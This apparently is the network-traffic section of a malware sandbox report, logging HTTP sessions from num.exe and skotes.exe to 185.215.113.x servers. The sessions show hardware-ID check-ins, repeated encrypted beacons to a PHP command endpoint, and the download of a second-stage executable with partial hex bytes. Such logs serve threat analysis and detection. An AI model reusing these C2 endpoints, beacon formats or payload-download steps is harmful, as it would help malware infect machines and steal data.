Oct 7, 2024 13:27:21.293893099 CEST	896	IN	Data Raw: a8 89 01 00 8d 4d 08 e8 a0 89 01 00 8d 4d 18 e8 98 89 01 00 8d 4d 24 e8 90 89 01 00 8d 4d 34 e8 d8 f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 8b 4d fc 3b 8d a0 00 00 00 0f 83 90 00 00 Data Ascii: MMM$M4]UEEEM;UREk,T(REk,TREk,PMk,DPMk,DPyXURH
Oct 7, 2024 13:27:21.293905973 CEST	1236	IN	Data Raw: e5 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 51 83 7d 08 00 75 02 eb 66 8b 45 08 50 e8 0b ff ff ff 83 c4 04 89 45 fc 8b 4d fc c7 01 01 00 00 00 8b 55 fc 83 7a 08 00 74 1e 8b 45 fc 8b 48 08 83 39 00 74 13 8b 55 fc 8b 42 08 50 8b 4d fc 51 e8 78 fe Data Ascii: ]UQ}ufEPEMUztEH9tUBPMQxUztEH9tUREHQQ]Ujh<BhBL#0djhLBhB3#djhBhB#djhBhB#pd
Oct 7, 2024 13:27:21.293917894 CEST	1236	IN	Data Raw: 42 00 68 28 20 42 00 e8 0c 1f 00 00 83 c4 0c a3 b4 a5 64 00 c7 05 c4 a2 64 00 00 00 00 00 6a 07 68 40 20 42 00 68 48 20 42 00 e8 e9 1e 00 00 83 c4 0c a3 7c a4 64 00 6a 02 68 50 20 42 00 68 54 20 42 00 e8 d0 1e 00 00 83 c4 0c a3 40 a4 64 00 6a 00 Data Ascii: Bh( Bddjh@ BhH B\|djhP BhT B@djhBhBdddjhBhBdjhBhBqdjhBhBXdddjhBhB+
Oct 7, 2024 13:27:21.293930054 CEST	1236	IN	Data Raw: 00 83 c4 0c a3 68 a3 64 00 6a 13 68 98 25 42 00 68 ac 25 42 00 e8 2a 1a 00 00 83 c4 0c a3 68 a5 64 00 6a 0a 68 c0 25 42 00 68 cc 25 42 00 e8 11 1a 00 00 83 c4 0c a3 94 a2 64 00 6a 13 68 d8 25 42 00 68 ec 25 42 00 e8 f8 19 00 00 83 c4 0c a3 9c a3 Data Ascii: hdjh%Bh%B*hdjh%Bh%Bdjh%Bh%Bdjh&Bh&Bdjh&Bh$&Bdjh0&BhD&BdjhX&Bhl&Bdjh&Bh&B{Ldjh&Bh&Bbdjh&Bh
Oct 7, 2024 13:27:21.294014931 CEST	1236	IN	Data Raw: 68 60 2c 42 00 68 70 2c 42 00 e8 61 15 00 00 83 c4 0c a3 18 a2 64 00 6a 0d 68 80 2c 42 00 68 90 2c 42 00 e8 48 15 00 00 83 c4 0c a3 7c a5 64 00 6a 0b 68 a0 2c 42 00 68 ac 2c 42 00 e8 2f 15 00 00 83 c4 0c a3 c0 a1 64 00 6a 0d 68 b8 2c 42 00 68 c8 Data Ascii: h`,Bhp,Badjh,Bh,BH\|djh,Bh,B/djh,Bh,B@djh,Bh,Bdjh-Bh-Bdjh0-BhD-B\djhX-Bhh-B8djhx-Bh-BXdjh-Bh-B
Oct 7, 2024 13:27:21.294068098 CEST	1236	IN	Data Raw: 98 10 00 00 83 c4 0c a3 50 a3 64 00 6a 07 68 38 33 42 00 68 40 33 42 00 e8 7f 10 00 00 83 c4 0c a3 6c a3 64 00 6a 07 68 48 33 42 00 68 50 33 42 00 e8 66 10 00 00 83 c4 0c a3 28 a5 64 00 6a 07 68 58 33 42 00 68 60 33 42 00 e8 4d 10 00 00 83 c4 0c Data Ascii: Pdjh83Bh@3BldjhH3BhP3Bf(djhX3Bh`3BMpdjhh3Bhp3B4djthx3Bh3Bdjhh4Bhp4Bdjhx4Bh4Bdjh4Bh4Bdj h4Bh4Bdjh4B
Oct 7, 2024 13:27:21.298758030 CEST	1236	IN	Data Raw: 00 6a 2c 68 d0 3a 42 00 68 00 3b 42 00 e8 b6 0b 00 00 83 c4 0c a3 98 a3 64 00 6a 0b 68 30 3b 42 00 68 3c 3b 42 00 e8 9d 0b 00 00 83 c4 0c a3 34 a4 64 00 6a 03 68 48 3b 42 00 68 4c 3b 42 00 e8 84 0b 00 00 83 c4 0c a3 c0 a2 64 00 6a 03 68 50 3b 42 Data Ascii: j,h:Bh;Bdjh0;Bh<;B4djhH;BhL;BdjhP;BhT;BktdjhX;Bhl;BR0dj.h;Bh;B9djh;Bh;B dj3h<Bh<<BDdjhp<Bh\|<Bdjh<Bh<B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50012	185.215.113.37	80	2448	C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:22.415564060 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 13:27:23.104300976 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 13:27:23.107305050 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 41 36 33 45 41 31 42 45 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="hwid"D1A63EA1BE9A291931458------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build"doma------FCBAECGIEBKKFHIDAKEC--
Oct 7, 2024 13:27:23.335700989 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50019	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:24.313582897 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000336001&unit=246122658369
Oct 7, 2024 13:27:25.036147118 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50023	185.215.113.103	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:25.046138048 CEST	56	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 7, 2024 13:27:25.753494024 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 07 Oct 2024 10:55:59 GMT ETag: "1cbe00-623e0ddae02ba" Accept-Ranges: bytes Content-Length: 1883648 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 ad 65 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJfpK@Ke@Wk ^@.rsrc n@.idata n@ 0+p@wdneehld001&r@hxgpzqkm`K@.taggant0pK"@
Oct 7, 2024 13:27:25.753674030 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 13:27:25.753686905 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 13:27:25.754368067 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 7, 2024 13:27:25.754380941 CEST	1236	IN	Data Raw: a9 cf 2e ea 32 77 49 75 31 67 3e 73 03 e4 1f 6d 70 9b 82 03 07 25 f6 1b 67 9d 90 d6 f5 48 0d 2f 75 26 5d 62 e5 76 11 fd 63 63 0a ab e6 fb 31 34 0e 2c 0b ea 4a 67 ed 7a 6c 54 10 ae e5 46 9c 25 14 62 75 01 0f 2e 0c a1 20 26 8d bd 74 58 1a 5d e8 82 Data Ascii: .2wIu1g>smp%gH/u&]bvcc14,JgzlTF%bu. &tX]<&7Wf6 %fkg#jvj6FX'e!1l5m'Q+F(i_la;R>leShHiX%&a{[E#kY8};'4BiRz
Oct 7, 2024 13:27:25.755039930 CEST	720	IN	Data Raw: 63 5f cf c0 b3 26 61 7a 55 c5 39 fa ae 93 fa 19 b5 9c ce f2 a3 cb ae 15 9d 15 d4 d5 ec 4e a4 ac fb 9f 8b 3d c7 d9 dc a3 f0 5e e5 c1 ec e9 b0 d3 6c 94 ef ac 33 29 76 04 00 22 1a d6 1b 29 b9 8d d3 5f e5 55 56 26 de e6 f4 d4 9e b4 cc dd 1d 1e 2c 05 Data Ascii: c_&azU9N=^l3)v")_UV&,=1[9jAN2WFjwW 9k Ot6 :Q uA(.'Ml+`j5+yp:E/sW 4fgT1+S=-YWvs;c%G+E8f
Oct 7, 2024 13:27:25.755314112 CEST	1236	IN	Data Raw: e5 09 c6 15 8c 1a ad aa cb 32 0e e2 e5 13 bb 2a 44 1c a9 25 63 a3 27 3d 9d 2e c7 82 52 99 b4 aa d2 4d 1e e3 b2 a6 af 28 1b a5 7c b3 0c 39 5f 33 3c 2f cd db 3f 8b ae 0b 00 4f 1a 0d 2a 77 41 71 f2 46 af 1a 93 4f 15 75 8d 96 bd 33 d5 9c 1f 81 02 4a Data Ascii: 2D%c'=.RM(\|9_3</?OwAqFOu3JeVsw+UGUY75'7S%3-3)D#\k"aOi;SaH7Ld%`!_6Bjq0PGtTA83T.<FJ
Oct 7, 2024 13:27:25.755326986 CEST	1236	IN	Data Raw: f9 22 b6 3f cd cf ee 2a e5 b4 e0 32 10 fc 8f 9e 18 54 3d 65 0c a5 eb 74 4b b9 5b 59 e2 9b ad d4 3d 68 a4 bb 4e 83 fd 49 dc fb 0a 74 1b 0a 9a aa 1f 94 a4 54 28 94 fe b7 a6 6f 60 7c e7 62 19 16 de 3b de b1 e2 51 6a 39 f9 09 a4 9e ab 13 1a 5d af fe Data Ascii: "?2T=etK[Y=hNItT(o`\|b;Qj9]n/_C bO&vXMyKhmlZ3?)td)%er`{94zilw]2)ZFX<LVXrzve3j\ZAI+ZC&~
Oct 7, 2024 13:27:25.756093025 CEST	1236	IN	Data Raw: 04 f6 6d 8d 2f b3 a5 4e 27 c1 11 ca c1 2a cd 1d 2f c6 18 09 f3 96 a0 ad 03 93 df e0 10 9c 12 0e ba 1b ca 99 89 5b f1 1c 67 dc 65 0e 49 5b 24 a7 b4 b5 62 57 61 b5 e0 96 2b a4 bc ef 0a d4 65 3a 74 30 f3 7e 6e e3 0b b9 c1 69 8b 39 25 0e 65 c8 e8 30 Data Ascii: m/N'*/[geI[$bWa+e:t0~ni9%e0esuHJvc/{(p=d1z;EU&5+^0IeU/P\|k\sge2aaAb\9THq$ec7T$
Oct 7, 2024 13:27:25.756105900 CEST	1236	IN	Data Raw: 55 6b 48 25 16 46 5c e0 15 2c fe f1 6d 38 de e5 4b 5f 8a 12 57 21 0d 43 fa 89 23 db 17 be 1f 26 b6 1b c1 ff de 77 fc 07 a5 22 81 bf 02 9d 04 df e4 13 bb fa dc 4c fe 99 c8 2c 4e 50 61 23 11 8a 4f 56 e6 f4 e6 64 33 d1 78 a4 66 79 e7 e3 96 92 b5 1d Data Ascii: UkH%F\,m8K_W!C#&w"L,NPa#OVd3xfyasa_a&jS<3utL2^b@e#2T{[V%Y?zpdkKh[]w18%C'?Dgu$K7dG3t$WTzHXx
Oct 7, 2024 13:27:25.758385897 CEST	1236	IN	Data Raw: cb 3d 91 f3 32 0f f8 8b f1 c5 73 18 f0 96 e3 19 fa 23 6e a4 06 f3 e5 48 dd 6c 23 0f 27 2f 09 0d aa 70 e9 21 1e 93 b2 50 e4 ed 60 ee dd 24 50 ee 9d 9b 08 76 0b 17 7a 65 2c 63 7c 9c 45 5e 42 9d 2b 5d a6 05 ac 7b e6 5c ff 0e 47 b7 79 00 bd 00 a4 f8 Data Ascii: =2s#nHl#'/p!P`$Pvze,c\|E^B+]{\Gy=c-r6a5.LU(I6*.2q%6u&-3W09(.`#Eul&6%}hvoQk))`f&vg{'30FmgOT9C4i5;,D1\|xe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50028	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:29.647296906 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Oct 7, 2024 13:27:30.338036060 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50032	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:32.012614965 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:32.721925020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50033	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:34.331995964 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:27:35.044676065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50034	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:36.802649021 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:37.479280949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50035	185.215.113.37	80	3568	C:\Users\user\AppData\Local\Temp\1000336001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:38.570278883 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 13:27:39.277698994 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:39 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 13:27:39.306689024 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHCGHDHIDHCBGCBGCA Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 41 36 33 45 41 31 42 45 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------DHDHCGHDHIDHCBGCBGCAContent-Disposition: form-data; name="hwid"D1A63EA1BE9A291931458------DHDHCGHDHIDHCBGCBGCAContent-Disposition: form-data; name="build"doma------DHDHCGHDHIDHCBGCBGCA--
Oct 7, 2024 13:27:39.542669058 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:39 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50036	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:39.057930946 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:27:39.759635925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50037	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:41.408233881 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:42.144558907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50038	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:43.654311895 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:27:44.460891008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50039	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:46.094186068 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:46.813606977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50040	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:48.393383980 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
